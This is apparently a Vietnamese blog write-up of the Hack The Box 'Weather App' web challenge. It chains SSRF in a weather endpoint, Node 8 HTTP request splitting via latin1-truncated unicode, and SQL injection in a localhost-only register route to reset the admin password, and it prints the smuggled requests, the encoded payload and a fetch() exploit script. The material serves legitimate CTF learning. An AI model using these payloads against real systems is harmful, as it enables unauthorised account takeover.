Weather App

Build website

Tải file source code về build và chạy nó với docker, do máy tôi dùng là windows nên có thể gõ lệnh sau để build và chạy:
PS D:\thehackbox\Challenges\web\Weather App\web_weather_app> docker.exe build --tag=weather_app .
[+] Building 1.1s (12/12) FINISHED
 => [internal] load .dockerignore                                                                                  0.0s
 => => transferring context: 2B                                                                                    0.0s
 => [internal] load build definition from Dockerfile                                                               0.0s
 => => transferring dockerfile: 463B                                                                               0.0s
 => [internal] load metadata for docker.io/library/node:8.12.0-alpine                                              1.1s
 => [1/7] FROM docker.io/library/node:8.12.0-alpine@sha256:d75742c5fd41261113ed4706f961a21238db84648c825a5126ada3  0.0s
 => [internal] load build context                                                                                  0.0s
 => => transferring context: 1.21kB                                                                                0.0s
 => CACHED [2/7] RUN apk add --update --no-cache supervisor                                                        0.0s
 => CACHED [3/7] RUN mkdir -p /app                                                                                 0.0s
 => CACHED [4/7] WORKDIR /app                                                                                      0.0s
 => CACHED [5/7] COPY challenge .                                                                                  0.0s
 => CACHED [6/7] RUN npm install                                                                                   0.0s
 => CACHED [7/7] COPY config/supervisord.conf /etc/supervisord.conf                                                0.0s
 => exporting to image                                                                                             0.0s
 => => exporting layers                                                                                            0.0s
 => => writing image sha256:d493d6047cc48eadd10908b325a9e784b34f0af7a0a0879e3bee4d5a6b4807d6                       0.0s
 => => naming to docker.io/library/weather_app                                                                     0.0s
PS D:\thehackbox\Challenges\web\Weather App\web_weather_app> docker.exe run -p 1337:80 --rm --name=weather_app -it weather_app
2023-06-28 04:48:11,595 CRIT Supervisor is running as root.  Privileges were not dropped because no user is specified in the config file.  If you intend to run as root, you can set user=root in the config file to avoid this message.
2023-06-28 04:48:11,604 INFO supervisord started with pid 1
2023-06-28 04:48:12,607 INFO spawned: 'express' with pid 8

> weather-app@1.0.0 start /app
> node index.js

node-pre-gyp info This Node instance does not support builds for N-API version 6
node-pre-gyp info This Node instance does not support builds for N-API version 6
Listening on port 80
2023-06-28 04:48:14,014 INFO success: express entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
Hoặc có thể sử dụng docker Desktop:

Analysis of source code

Nhìn vào mã nguồn trong api login 
router.post('/login', (req, res) => {
	let { username, password } = req.body;

	if (username && password) {
		return db.isAdmin(username, password)
			.then(admin => {
				if (admin) return res.send(fs.readFileSync('/app/flag').toString());
				return res.send(response('You are not admin'));
			})
			.catch(() => res.send(response('Something went wrong')));
	}
	
	return re.send(response('Missing parameters'));
});
Sau khi đăng nhập tôi thấy trường tình kiếm tra xem user có phải là admin hay không bằng cách gọi tới function isAdmin trong file database.js 
async isAdmin(user, pass) {
    return new Promise(async (resolve, reject) => {
        try {
            let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
            let row = await smt.get(user, pass);
            resolve(row !== undefined ? row.username == 'admin' : false);
        } catch(e) {
            reject(e);
        }
    });
}
Tại đây tôi thấy được user admin có usernameadmin.
Nhìn vào mã nguồn trong api register, tôi thấy rằng đây là một api private:
router.post('/register', (req, res) => {

	if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
		return res.status(401).end();
	}

	let { username, password } = req.body;

	if (username && password) {
		return db.register(username, password)
			.then(()  => res.send(response('Successfully registered')))
			.catch(() => res.send(response('Something went wrong')));
	}

	return res.send(response('Missing parameters'));
});
Vì tôi đang giả lập chạy trên docker nên tôi hoàn toàn có thể sửa code để bỏ qua việc kiểm tra luồng gọi tới có phải từ localhost hay không thì khi đó api sẽ gọi tới function register trong file database.js 
async register(user, pass) {
    // TODO: add parameterization and roll public
    return new Promise(async (resolve, reject) => {
        try {
            let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
            resolve((await this.db.run(query)));
        } catch(e) {
            reject(e);
        }
    });
}
Tôi thấy rằng hai tham số đầu vào username, password không hề được đi qua một bộ lọc nào và câu truy vấn db hoàn toàn là được nối các chuỗi lại với nhau. Đây có thể là một vuln sql inject 
Tôi đưa ra một kịch bản khai thác để cố gắng chạy câu lệnh như sau:
INSERT INTO users (username, password) VALUES ('admin', 'admin') ON CONFLICT(username) DO UPDATE SET password = 'admin';--')
Câu lệnh trên sẽ sửa lại password thành admin khi tạo thêm một người dùng admin đã tồn tại mà tôi biết ở trên.
Khi đó param đầu vào mà tôi phải truyền là:
##-----username-----
admin
##-----password-----
admin') ON CONFLICT(username) DO UPDATE SET password = 'admin';--

Tôi đã sửa password của admin thành công. Đăng nhập và tôi đã thành công để có cờ từ máy của mình.
Nhưng vì khai thác là ở trên máy của HTB, tôi không có quyền sửa code để có thể bypass api register. Nên có thể trên source có có tồn tại một lỗ hổng ssrf.
Nhìn vào mã nguồn trong api /api/weather 
router.post('/api/weather', (req, res) => {
	let { endpoint, city, country } = req.body;

	if (endpoint && city && country) {
		return WeatherHelper.getWeather(res, endpoint, city, country);
	}

	return res.send(response('Missing parameters'));
});
Tại đây tôi thấy function getWeather của lớp WeatherHelper được gọi:
async getWeather(res, endpoint, city, country) {

    // *.openweathermap.org is out of scope
    let apiKey = '10a62430af617a949055a46fa6dec32f';
    let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);

    if (weatherData.name) {
        let weatherDescription = weatherData.weather[0].description;
        let weatherIcon = weatherData.weather[0].icon.slice(0, -1);
        let weatherTemp = weatherData.main.temp;

        switch (parseInt(weatherIcon)) {
            case 2: case 3: case 4:
                weatherIcon = 'icon-clouds';
                break;
            case 9: case 10:
                weatherIcon = 'icon-rain';
                break;
            case 11:
                weatherIcon = 'icon-storm';
                break;
            case 13:
                weatherIcon = 'icon-snow';
                break;
            default:
                weatherIcon = 'icon-sun';
                break;
        }

        return res.send({
            desc: weatherDescription,
            icon: weatherIcon,
            temp: weatherTemp,
        });
    }

    return res.send({
        error: `Could not find ${city} or ${country}`
    });
}
Tại đây tôi thấy được rằng api sẽ call để lấy thông tin tới một api khác, và tôi hoàn toàn có thể truyền endpoint vào để định hướng đường truyền có thể đây sẽ là một vuln ssrf. Nhưng method được sử dụng để gọi đi là method GET. Tôi cần phải gọi được method POST để có thể sửa được password của user admin.
Đọc Dockerfile, tôi thấy: FROM node:8.12.0-alpine
Tìm kiếm các vuln liên quan tới điều này trong: Docker node:8.12.0-alpine
Tôi tìm thấy hai vuln có tiêu đề liên quan tới HTTP là HTTP request splitting và HTTP Request Smuggling 

HTTP request splitting

Tìm kiếm trên google tôi thấy một bản báo cáo: Http request splitting

HTTP Request Smuggling

Tìm kiếm trên google tôi thấy: HTTP Request Smuggling via Unicode Payloads

Exploit

Tôi đưa ra một kịch bản khai thác cố gắng thực hiện như sau:
/app # nc -lnvp 80
listening on [::]:80 ...
connect to [::ffff:127.0.0.1]:80 from [::ffff:127.0.0.1]:41980 ([::ffff:127.0.0.1]:41980)
GET /data/2.5/weather?q=city,country HTTP/1.1
Host: 127.0.0.1
Connection: close

POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Connection: close

username=admin&password=admin%27%29+ON+CONFLICT%28username%29+DO+UPDATE+SET+password+%3D+%27admin%27%3B--

GET /yu8&units=metric&appid=10a62430af617a949055a46fa6dec32f HTTP/1.1
Host: 127.0.0.1
Connection: close
Khi đó param đầu vào mà tôi phải truyền là:
#-----endpoint-----
127.0.0.1
#-----city-----
city
#-----country-----
country\u0220\u0448\u0254\u0154\u0350\u022F\u0131\u032E\u0131\u040A\u0448\u016F\u0173\u0274\u043A\u0420\u0331\u0232\u0137\u032E\u0430\u032E\u0230\u012E\u0231\u020A\u0143\u036F\u016E\u026E\u0265\u0463\u0274\u0169\u036F\u026E\u023A\u0120\u0363\u036C\u016F\u0273\u0165\u010A\u010A\u0150\u024F\u0153\u0354\u0320\u022F\u0172\u0465\u0367\u0269\u0173\u0274\u0465\u0172\u0320\u0148\u0254\u0254\u0350\u042F\u0131\u022E\u0331\u040A\u0448\u026F\u0173\u0174\u023A\u0220\u0331\u0132\u0337\u042E\u0130\u042E\u0130\u042E\u0131\u020A\u0443\u026F\u026E\u0474\u0465\u016E\u0274\u032D\u034C\u0165\u016E\u0367\u0174\u0368\u023A\u0420\u0231\u0130\u0335\u020A\u0343\u036F\u026E\u0374\u0365\u026E\u0474\u022D\u0354\u0479\u0170\u0265\u023A\u0320\u0261\u0370\u0470\u016C\u0269\u0363\u0361\u0374\u0369\u016F\u026E\u032F\u0478\u032D\u0377\u0377\u0277\u012D\u0366\u036F\u0272\u016D\u032D\u0375\u0372\u026C\u0165\u026E\u0363\u026F\u0164\u0265\u0464\u040A\u0443\u016F\u016E\u046E\u0165\u0363\u0274\u0469\u026F\u046E\u013A\u0420\u0363\u046C\u046F\u0173\u0465\u010A\u010A\u0275\u0373\u0165\u0272\u046E\u0361\u036D\u0365\u033D\u0361\u0364\u026D\u0269\u026E\u0226\u0370\u0161\u0173\u0373\u0177\u046F\u0172\u0464\u033D\u0161\u0464\u036D\u0269\u036E\u0325\u0232\u0237\u0225\u0132\u0439\u042B\u014F\u034E\u042B\u0343\u014F\u044E\u0146\u024C\u0349\u0143\u0354\u0225\u0432\u0238\u0175\u0273\u0265\u0372\u046E\u0361\u026D\u0365\u0125\u0432\u0139\u012B\u0144\u014F\u012B\u0355\u0250\u0344\u0341\u0154\u0445\u012B\u0353\u0345\u0154\u032B\u0270\u0461\u0273\u0373\u0377\u016F\u0272\u0164\u012B\u0325\u0133\u0344\u012B\u0125\u0332\u0137\u0161\u0464\u016D\u0369\u016E\u0325\u0332\u0437\u0225\u0433\u0142\u042D\u022D\u010A\u010A\u0447\u0345\u0254\u0320\u042F\u0479\u0275\u0238
Tạo payload:
┌──(yuh㉿Huydz)-[~/latin1enctrunc_payload_generator]
└─$ cat in.txt
 HTTP/1.1
Host: 127.0.0.1
Connection: close

POST /register HTTP/1.1
Host: 127.0.0.1
Content-Length: 105
Content-Type: application/x-www-form-urlencoded
Connection: close

username=admin&password=admin%27%29+ON+CONFLICT%28username%29+DO+UPDATE+SET+password+%3D+%27admin%27%3B--

GET /yu8
┌──(yuh㉿Huydz)-[~/latin1enctrunc_payload_generator]
└─$ python3 latin1enctruc_payload_generator.py in.txt out.txt
̠Ɉє͔͐Я̱Ȯ̱ĊňůųѴȺĠı̲ķ̮аȮаȮıȊ̓ɯͮͮѥɣѴѩѯɮкĠѣŬɯѳͥ̊̊Őŏѓ͔ĠЯɲѥѧũɳŴɥɲĠшŔɔɐȯб̮бЊňѯѳɴȺĠбȲȷĮȰȮȰ̮ıЊуѯͮѴɥѮɴȭŌťͮѧʹɨ̺Ġ̱аȵЊɃͯɮѴťͮɴ̭ɔѹŰͥĺ̠ɡѰɰѬѩͣѡѴͩͯѮ̯ŸȭͷŷͷĭѦůѲɭȭŵɲɬͥɮѣͯͤͥɤ̊ɃůɮŮѥͣʹũůŮȺ̠ѣͬͯͳɥȊȊ͵ųͥͲѮѡŭͥ̽šŤѭѩŮȦѰšɳɳѷͯͲɤ̽šŤɭũͮȥвзĥȲ̹īя͎ЫŃ͏ю͆Ɍɉу͔Х̲ȸ͵ɳťŲŮɡŭѥĥ̲ȹȫфя̫ŕŐ̈́ŁɔɅī͓х͔̫ɰɡųͳŷɯѲŤ̫ХгńȫХ̷̲͡Ťŭͩɮĥ̲ȷ̥ijɂЭĭĊ̊ŇŅɔРȯѹŵи

┌──(yuh㉿Huydz)-[~/latin1enctrunc_payload_generator]
└─$
Kiểm tra ký tự latin1 tôi vừa tạo với nodejs:
Chuyển đổi chuỗi ký tự trên sang unicode bằng cyberchef. Mã khai thác của tôi có dạng như sau:
var payload='\u0220\u0448\u0254\u0154\u0350\u022F\u0131\u032E\u0131\u040A\u0448\u016F\u0173\u0274\u043A\u0420\u0331\u0232\u0137\u032E\u0430\u032E\u0230\u012E\u0231\u020A\u0143\u036F\u016E\u026E\u0265\u0463\u0274\u0169\u036F\u026E\u023A\u0120\u0363\u036C\u016F\u0273\u0165\u010A\u010A\u0150\u024F\u0153\u0354\u0320\u022F\u0172\u0465\u0367\u0269\u0173\u0274\u0465\u0172\u0320\u0148\u0254\u0254\u0350\u042F\u0131\u022E\u0331\u040A\u0448\u026F\u0173\u0174\u023A\u0220\u0331\u0132\u0337\u042E\u0130\u042E\u0130\u042E\u0131\u020A\u0443\u026F\u026E\u0474\u0465\u016E\u0274\u032D\u034C\u0165\u016E\u0367\u0174\u0368\u023A\u0420\u0231\u0130\u0335\u020A\u0343\u036F\u026E\u0374\u0365\u026E\u0474\u022D\u0354\u0479\u0170\u0265\u023A\u0320\u0261\u0370\u0470\u016C\u0269\u0363\u0361\u0374\u0369\u016F\u026E\u032F\u0478\u032D\u0377\u0377\u0277\u012D\u0366\u036F\u0272\u016D\u032D\u0375\u0372\u026C\u0165\u026E\u0363\u026F\u0164\u0265\u0464\u040A\u0443\u016F\u016E\u046E\u0165\u0363\u0274\u0469\u026F\u046E\u013A\u0420\u0363\u046C\u046F\u0173\u0465\u010A\u010A\u0275\u0373\u0165\u0272\u046E\u0361\u036D\u0365\u033D\u0361\u0364\u026D\u0269\u026E\u0226\u0370\u0161\u0173\u0373\u0177\u046F\u0172\u0464\u033D\u0161\u0464\u036D\u0269\u036E\u0325\u0232\u0237\u0225\u0132\u0439\u042B\u014F\u034E\u042B\u0343\u014F\u044E\u0146\u024C\u0349\u0143\u0354\u0225\u0432\u0238\u0175\u0273\u0265\u0372\u046E\u0361\u026D\u0365\u0125\u0432\u0139\u012B\u0144\u014F\u012B\u0355\u0250\u0344\u0341\u0154\u0445\u012B\u0353\u0345\u0154\u032B\u0270\u0461\u0273\u0373\u0377\u016F\u0272\u0164\u012B\u0325\u0133\u0344\u012B\u0125\u0332\u0137\u0161\u0464\u016D\u0369\u016E\u0325\u0332\u0437\u0225\u0433\u0142\u042D\u022D\u010A\u010A\u0447\u0345\u0254\u0320\u042F\u0479\u0275\u0238'
var data = {"endpoint":"127.0.0.1","city":"city","country":"country" + payload};
fetch("http://<IP:PORT>/api/weather", {
  "headers": {
    "content-type": "application/json"
  },
  "body": JSON.stringify(data),
  "method": "POST",
  "mode": "cors",
  "credentials": "omit"
});
Thực hiện khai thác vừa viết với thử thách này và lấy cờ.

Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post